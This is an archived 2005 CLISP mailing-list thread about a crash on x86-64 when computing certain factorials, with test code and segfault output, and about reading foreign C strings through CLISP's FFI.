sds@gnu.org Mon Dec 19 06:47:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EoMIc-00043E-H8 for clisp-list@lists.sourceforge.net; Mon, 19 Dec 2005 06:47:38 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EoMIZ-0006iD-60 for clisp-list@lists.sourceforge.net; Mon, 19 Dec 2005 06:47:38 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.101]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBJElA5S015088; Mon, 19 Dec 2005 09:47:13 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051219141900.GA10905@boole.suse.de> (Werner Fink's message of "Mon, 19 Dec 2005 15:19:00 +0100") References: <20051214154951.GA18868@boole.suse.de> <20051214165708.GA14826@wotan.suse.de> <20051214181854.GA16453@wotan.suse.de> <20051215144419.GA6164@boole.suse.de> <20051215161953.GA8089@boole.suse.de> <20051216141236.GA24342@boole.suse.de> <20051219141900.GA10905@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 19 06:48:03 2005 X-Original-Date: Mon, 19 Dec 2005 09:46:08 -0500 > * Dr. Werner Fink [2005-12-19 15:19:00 +0100]: > > ACK ... IMHO the clisp engine needs some changes to make > the code more handy. someone has to go through lispbibl.h (generated by make) and figure out why g++ build does not work. then DEBUG_GCSAFETY will pinpoint the bug. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.memri.org/ http://truepeace.org http://www.dhimmi.com/ http://www.openvotingconsortium.org/ http://pmw.org.il/ Your mouse pad is incompatible with MS Windows - your HD will be reformatted. From werner@suse.de Mon Dec 19 08:28:05 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EoNro-00015s-0b for clisp-list@lists.sourceforge.net; Mon, 19 Dec 2005 08:28:04 -0800 Received: from ns1.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EoNrl-0006RW-Rr for clisp-list@lists.sourceforge.net; Mon, 19 Dec 2005 08:28:04 -0800 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id A4F0AEE2F for ; Mon, 19 Dec 2005 17:27:56 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Message-ID: <20051219162753.GA19189@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20051214165708.GA14826@wotan.suse.de> <20051214181854.GA16453@wotan.suse.de> <20051215144419.GA6164@boole.suse.de> <20051215161953.GA8089@boole.suse.de> <20051216141236.GA24342@boole.suse.de> <20051219141900.GA10905@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20051219141900.GA10905@boole.suse.de> Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 19 08:29:01 2005 X-Original-Date: Mon, 19 Dec 2005 17:27:53 +0100 On Mon, Dec 19, 2005 at 03:19:00PM +0100, Dr. Werner Fink wrote: > > and the chrash happens with this lisp code > > (let ((ht (make-hash-table :test 'ext:fasthash-eq))) > (defstruct ht-test-struct a b c) > (setq x (make-ht-test-struct :a 1 :b 2 :c ht)) > (setf (gethash ht ht) ht > (gethash x ht) 12) > (setq x (read-from-string (with-standard-io-syntax (write-to-string x))) > ht (ht-test-struct-c x)) > (setf (ht-test-struct-a x) (ext:! )) > (ext:gc) > (list (eq (gethash ht ht) ht) > (gethash x ht))) > (quit) > > with the numbers = 17,20,21,22,23,.... > In other words, the numbers 1 ... 16, 18, and 19 do work > here on this x86_64 at least upto the (quit). The numbers 34 upto 124 do not crash the code above. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From lisp-clisp-list@m.gmane.org Mon Dec 19 17:42:39 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EoWWU-0006QL-Oc for clisp-list@lists.sourceforge.net; Mon, 19 Dec 2005 17:42:38 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EoWWT-00077X-78 for clisp-list@lists.sourceforge.net; Mon, 19 Dec 2005 17:42:38 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EoWUn-0001vD-Hu for clisp-list@lists.sourceforge.net; Tue, 20 Dec 2005 02:40:53 +0100 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 20 Dec 2005 02:40:53 +0100 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 20 Dec 2005 02:40:53 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 48 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b22 (windows-nt) Cancel-Lock: sha1:BZhFr/H9khILFsXXjVrXrG3YXO8= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] converting foreign string to lisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 19 17:43:12 2005 X-Original-Date: Mon, 19 Dec 2005 18:37:50 -0700 Hi, Say I have a C function as shown below: char* return_string (int *len) { const char *str="hello baby"; *len=strlen(str)*sizeof(char); char *new_str=(char*)malloc(*len + 1); strcpy(new_str,"hello baby"); new_str[3]='\0'; return new_str; } and I write the corresponding ffi declaration as follows; (ffi:def-call-out return_string (:name "return_string") (:arguments (len (ffi:c-ptr ffi:uint) :out)) (:return-type (FFI:C-POINTER character) :malloc-free) (:library "test.dll") (:language :stdc)) And my objective is to get a string in lisp which might contain the null symbol. (let (ptr len str) (multiple-value-setq (ptr len) (return_string)) (setf str (ffi:with-c-var (array 'ffi:c-pointer ptr) (ffi:cast array `(ffi:c-ptr (ffi:c-array character ,len))))) str) Is the above the best way to do it, and is it correct? Can I do it more efficiently and in a better way? Thanks for the help. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html ,---- | Great wits are sure to madness near allied, | And thin partitions do their bounds divide. | | (John Dryden, Absalom and Achitophel, 1681) `---- From Joerg-Cyril.Hoehle@t-systems.com Tue Dec 20 08:43:29 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EokaE-0003yB-RL for clisp-list@lists.sourceforge.net; Tue, 20 Dec 2005 08:43:26 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EokaD-0004ef-6o for clisp-list@lists.sourceforge.net; Tue, 20 Dec 2005 08:43:26 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 20 Dec 2005 17:43:11 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Dec 2005 17:43:11 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030774EB6F@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: efuzzyone@netscape.net Subject: Re: [clisp-list] converting foreign string to lisp MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 20 08:44:03 2005 X-Original-Date: Tue, 20 Dec 2005 17:43:06 +0100 Surendra Singhi asks: >(ffi:def-call-out return_string > (:name "return_string") > (:arguments (len (ffi:c-ptr ffi:uint) :out)) > (:return-type (FFI:C-POINTER character) :malloc-free) > (:library "test.dll") > (:language :stdc)) >And my objective is to get a string in lisp which might >contain the null symbol. This is no different from any other case with variable length arrays, shown in this list several times already. >(let (ptr len str) > (multiple-value-setq (ptr len) (return_string)) > (setf str (ffi:with-c-var (array 'ffi:c-pointer ptr) > (ffi:cast array `(ffi:c-ptr (ffi:c-array >character ,len))))) > str) >Is the above the best way to do it, and is it correct? Can I do it more >efficiently and in a better way? It's not that bad, but with-c-var is superfluous. Since you use :return-type (ffi-cpointer character), just use (with-c-place (v ptr) (offset v 0 `(c-array character ,len))) Or use a plain c-pointer :return-type, together with (foreign-value (foreign-variable ptr (parse-c-type '(c-array character ,len))) Do as you please. Another solution might be to use WITH-FOREIGN-STRING to pass the buffer to the foreign string, then read it back using the above technique. But in your case, you received the pointer from the function and did not pass it some buffer. You may wonder about with-c-var (bad)/with-c-place(good). One creates a closure and uses a trampoline technique to achieve the results, whereas the other is nothing but symbol macro substitution, no closure, just the call to OFFSET and PARSE-C-TYPE (which gets optimized away). I think it makes quite a difference, despite the similar names. Do you think that impnotes should mention such gory details? If yes, would you be willing to provide text snippets as to what you'd consider a valuable addition? Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Tue Dec 20 14:01:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EopXo-0005l0-VP for clisp-list@lists.sourceforge.net; Tue, 20 Dec 2005 14:01:16 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EopXm-0003ql-Le for clisp-list@lists.sourceforge.net; Tue, 20 Dec 2005 14:01:17 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EopWN-0003tA-T3 for clisp-list@lists.sourceforge.net; Tue, 20 Dec 2005 22:59:47 +0100 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 20 Dec 2005 22:59:47 +0100 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 20 Dec 2005 22:59:47 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 25 Message-ID: References: <5F9130612D07074EB0A0CE7E69FD7A030774EB6F@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b22 (windows-nt) Cancel-Lock: sha1:613EQAufLmM1K2bbr+iQCYhPqCw= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: converting foreign string to lisp - thanks Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 20 14:02:00 2005 X-Original-Date: Tue, 20 Dec 2005 14:58:53 -0700 "Hoehle, Joerg-Cyril" writes: > Surendra Singhi asks: > > This is no different from any other case with variable length arrays, shown in this list several times already. Thanks, I appreciate it. I had seen your post regarding variable length arrays, but in that you had mentioned about working on a different way of doing things. Thats why I asked this question again. And I am glad I did, otherwise I wouldn't have known the difference between with-c-place and with-c-var. Thanks once again. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html ,---- | "O thou my friend! The prosperity of Crime is like unto the lightning, | whose traitorous brilliancies embellish the atmosphere but for an | instant, in order to hurl into death's very depths the luckless one | they have dazzled." -- Marquis de Sade `---- From werner@suse.de Wed Dec 21 05:26:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ep3zJ-0005Kk-6d for clisp-list@lists.sourceforge.net; Wed, 21 Dec 2005 05:26:37 -0800 Received: from ns2.suse.de ([195.135.220.15] helo=mx2.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ep3zH-0007IR-PU for clisp-list@lists.sourceforge.net; Wed, 21 Dec 2005 05:26:37 -0800 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx2.suse.de (Postfix) with ESMTP id B85541D409 for ; Wed, 21 Dec 2005 14:26:31 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Message-ID: <20051221132629.GA489@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net References: <20051214165708.GA14826@wotan.suse.de> <20051214181854.GA16453@wotan.suse.de> <20051215144419.GA6164@boole.suse.de> <20051215161953.GA8089@boole.suse.de> <20051216141236.GA24342@boole.suse.de> <20051219141900.GA10905@boole.suse.de> <20051219162753.GA19189@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20051219162753.GA19189@boole.suse.de> Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 21 05:27:29 2005 X-Original-Date: Wed, 21 Dec 2005 14:26:29 +0100 On Mon, Dec 19, 2005 at 05:27:53PM +0100, Dr. Werner Fink wrote: > On Mon, Dec 19, 2005 at 03:19:00PM +0100, Dr. Werner Fink wrote: > > > > and the chrash happens with this lisp code > > > > (let ((ht (make-hash-table :test 'ext:fasthash-eq))) > > (defstruct ht-test-struct a b c) > > (setq x (make-ht-test-struct :a 1 :b 2 :c ht)) > > (setf (gethash ht ht) ht > > (gethash x ht) 12) > > (setq x (read-from-string (with-standard-io-syntax (write-to-string x))) > > ht (ht-test-struct-c x)) > > (setf (ht-test-struct-a x) (ext:! )) > > (ext:gc) > > (list (eq (gethash ht ht) ht) > > (gethash x ht))) > > (quit) > > > > with the numbers = 17,20,21,22,23,.... > > In other words, the numbers 1 ... 16, 18, and 19 do work > > here on this x86_64 at least upto the (quit). > > The numbers 34 upto 124 do not crash the code above. Sam? What do you see if you're doing this for x in $(seq 1 200) ; do echo "! $x" echo "(ext:! $x)" | \ ./lisp.run -E utf-8 -norc -B ../ -N locale -M lispinit.mem -m 30000KW -q test $? -eq 0 || echo crash done ...? Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Wed Dec 21 06:49:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ep5H6-00028u-IB for clisp-list@lists.sourceforge.net; Wed, 21 Dec 2005 06:49:04 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ep5H5-0008B1-9b for clisp-list@lists.sourceforge.net; Wed, 21 Dec 2005 06:49:04 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.244]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBLEme9J020919; Wed, 21 Dec 2005 09:48:41 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051221132629.GA489@boole.suse.de> (Werner Fink's message of "Wed, 21 Dec 2005 14:26:29 +0100") References: <20051214165708.GA14826@wotan.suse.de> <20051214181854.GA16453@wotan.suse.de> <20051215144419.GA6164@boole.suse.de> <20051215161953.GA8089@boole.suse.de> <20051216141236.GA24342@boole.suse.de> <20051219141900.GA10905@boole.suse.de> <20051219162753.GA19189@boole.suse.de> <20051221132629.GA489@boole.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 21 06:50:03 2005 X-Original-Date: Wed, 21 Dec 2005 09:47:41 -0500 > * Dr. Werner Fink [2005-12-21 14:26:29 +0100]: > > Sam? What do you see if you're doing this > > for x in $(seq 1 200) ; do > echo "! $x" > echo "(ext:! $x)" | \ > ./lisp.run -E utf-8 -norc -B ../ -N locale -M lispinit.mem -m 30000KW -q > test $? -eq 0 || echo crash > done ! 1 1 ! 2 2 ! 3 6 ! 4 24 ! 5 120 ! 6 720 ! 7 5040 ! 8 40320 ! 9 362880 ! 10 3628800 ! 11 39916800 ! 12 479001600 ! 13 6227020800 ! 14 87178291200 ! 15 1307674368000 ! 16 20922789888000 ! 17 0 ! 18 0 ! 19 0 ! 20 *** - Internal error: statement in file "io.d", line 6949 has been reached!! Please send the authors of the program a description how you produced this error! crash ! 21 *** - handle_fault error2 ! address = 0x1b910000000b not in [0xcccd8cff0,0xccce70000) ! SIGSEGV cannot be cured. Fault address = 0x1b910000000b. Permanently allocated: 159656 bytes. Currently in use: 3143928 bytes. Free space: 749702 bytes. Segmentation fault crash ! 22 *** - Internal error: statement in file "io.d", line 6949 has been reached!! Please send the authors of the program a description how you produced this error! crash ! 23 *** - handle_fault error2 ! address = 0x739500000004 not in [0xcccd8cff0,0xccce70000) ! SIGSEGV cannot be cured. Fault address = 0x739500000004. Permanently allocated: 159656 bytes. Currently in use: 3143928 bytes. Free space: 749702 bytes. Segmentation fault crash ! 24 *** - handle_fault error2 ! address = 0x100000000003 not in [0xcccd8cff0,0xccce70000) ! SIGSEGV cannot be cured. Fault address = 0x100000000003. Permanently allocated: 159656 bytes. Currently in use: 3143928 bytes. Free space: 749702 bytes. Segmentation fault crash ! 25 *** - handle_fault error2 ! address = 0x0 not in [0x3339c0000,0x333bd5788) ! SIGSEGV cannot be cured. Fault address = 0x0. Permanently allocated: 159656 bytes. Currently in use: 3143928 bytes. Free space: 749702 bytes. Segmentation fault crash ! 26 *** - Internal error: statement in file "io.d", line 6949 has been reached!! Please send the authors of the program a description how you produced this error! crash ! 27 *** - handle_fault error2 ! address = 0x1b9100000001 not in [0xcccd8cff0,0xccce70000) ! SIGSEGV cannot be cured. Fault address = 0x1b9100000001. Permanently allocated: 159656 bytes. Currently in use: 3143928 bytes. Free space: 749702 bytes. Segmentation fault crash ! 28 *** - handle_fault error2 ! address = 0x0 not in [0x3339c0000,0x333bd5788) ! SIGSEGV cannot be cured. Fault address = 0x0. Permanently allocated: 159656 bytes. Currently in use: 3143928 bytes. Free space: 749702 bytes. Segmentation fault crash ! 29 *** - handle_fault error2 ! address = 0x6d2b00000000 not in [0xcccd8cff0,0xccce70000) ! SIGSEGV cannot be cured. Fault address = 0x6d2b00000000. Permanently allocated: 159656 bytes. Currently in use: 3143928 bytes. Free space: 749702 bytes. Segmentation fault crash ! 30 *** - handle_fault error2 ! address = 0xffffffffffffffff not in [0xcccd8cff0,0xccce70000) ! SIGSEGV cannot be cured. Fault address = 0xffffffffffffffff. Permanently allocated: 159656 bytes. Currently in use: 3143928 bytes. Free space: 749702 bytes. Segmentation fault crash ! 31 *** - handle_fault error2 ! address = 0x1020ffffffff not in [0xcccd8cff0,0xccce70000) ! SIGSEGV cannot be cured. Fault address = 0x1020ffffffff. Permanently allocated: 159656 bytes. Currently in use: 3143928 bytes. Free space: 749702 bytes. Segmentation fault crash ! 32 *** - Internal error: statement in file "io.d", line 6949 has been reached!! Please send the authors of the program a description how you produced this error! crash ! 33 *** - handle_fault error2 ! address = 0x0 not in [0x3339c0000,0x333bd5788) ! SIGSEGV cannot be cured. Fault address = 0x0. Permanently allocated: 159656 bytes. Currently in use: 3143928 bytes. Free space: 749702 bytes. Segmentation fault crash ! 34 295232799039604140847618609643520000000 ! 35 10333147966386144929666651337523200000000 ! 36 371993326789901217467999448150835200000000 ! 37 13763753091226345046315979581580902400000000 ! 38 523022617466601111760007224100074291200000000 ! 39 20397882081197443358640281739902897356800000000 ! 40 815915283247897734345611269596115894272000000000 ! 41 33452526613163807108170062053440751665152000000000 ! 42 1405006117752879898543142606244511569936384000000000 ! 43 60415263063373835637355132068513997507264512000000000 ! 44 2658271574788448768043625811014615890319638528000000000 ! 45 119622220865480194561963161495657715064383733760000000000 ! 46 5502622159812088949850305428800254892961651752960000000000 ! 47 258623241511168180642964355153611979969197632389120000000000 ! 48 12413915592536072670862289047373375038521486354677760000000000 ! 49 608281864034267560872252163321295376887552831379210240000000000 ! 50 30414093201713378043612608166064768844377641568960512000000000000 ! 51 1551118753287382280224243016469303211063259720016986112000000000000 ! 52 80658175170943878571660636856403766975289505440883277824000000000000 ! 53 4274883284060025564298013753389399649690343788366813724672000000000000 ! 54 230843697339241380472092742683027581083278564571807941132288000000000000 ! 55 12696403353658275925965100847566516959580321051449436762275840000000000000 ! 56 710998587804863451854045647463724949736497978881168458687447040000000000000 ! 57 40526919504877216755680601905432322134980384796226602145184481280000000000000 ! 58 2350561331282878571829474910515074683828862318181142924420699914240000000000000 ! 59 138683118545689835737939019720389406345902876772687432540821294940160000000000000 ! 60 8320987112741390144276341183223364380754172606361245952449277696409600000000000000 ! 61 507580213877224798800856812176625227226004528988036003099405939480985600000000000000 ! 62 31469973260387937525653122354950764088012280797258232192163168247821107200000000000000 ! 63 1982608315404440064116146708361898137544773690227268628106279599612729753600000000000000 ! 64 126886932185884164103433389335161480802865516174545192198801894375214704230400000000000000 ! 65 8247650592082470666723170306785496252186258551345437492922123134388955774976000000000000000 ! 66 544344939077443064003729240247842752644293064388798874532860126869671081148416000000000000000 ! 67 36471110918188685288249859096605464427167635314049524593701628500267962436943872000000000000000 ! 68 2480035542436830599600990418569171581047399201355367672371710738018221445712183296000000000000000 ! 69 171122452428141311372468338881272839092270544893520369393648040923257279754140647424000000000000000 ! 70 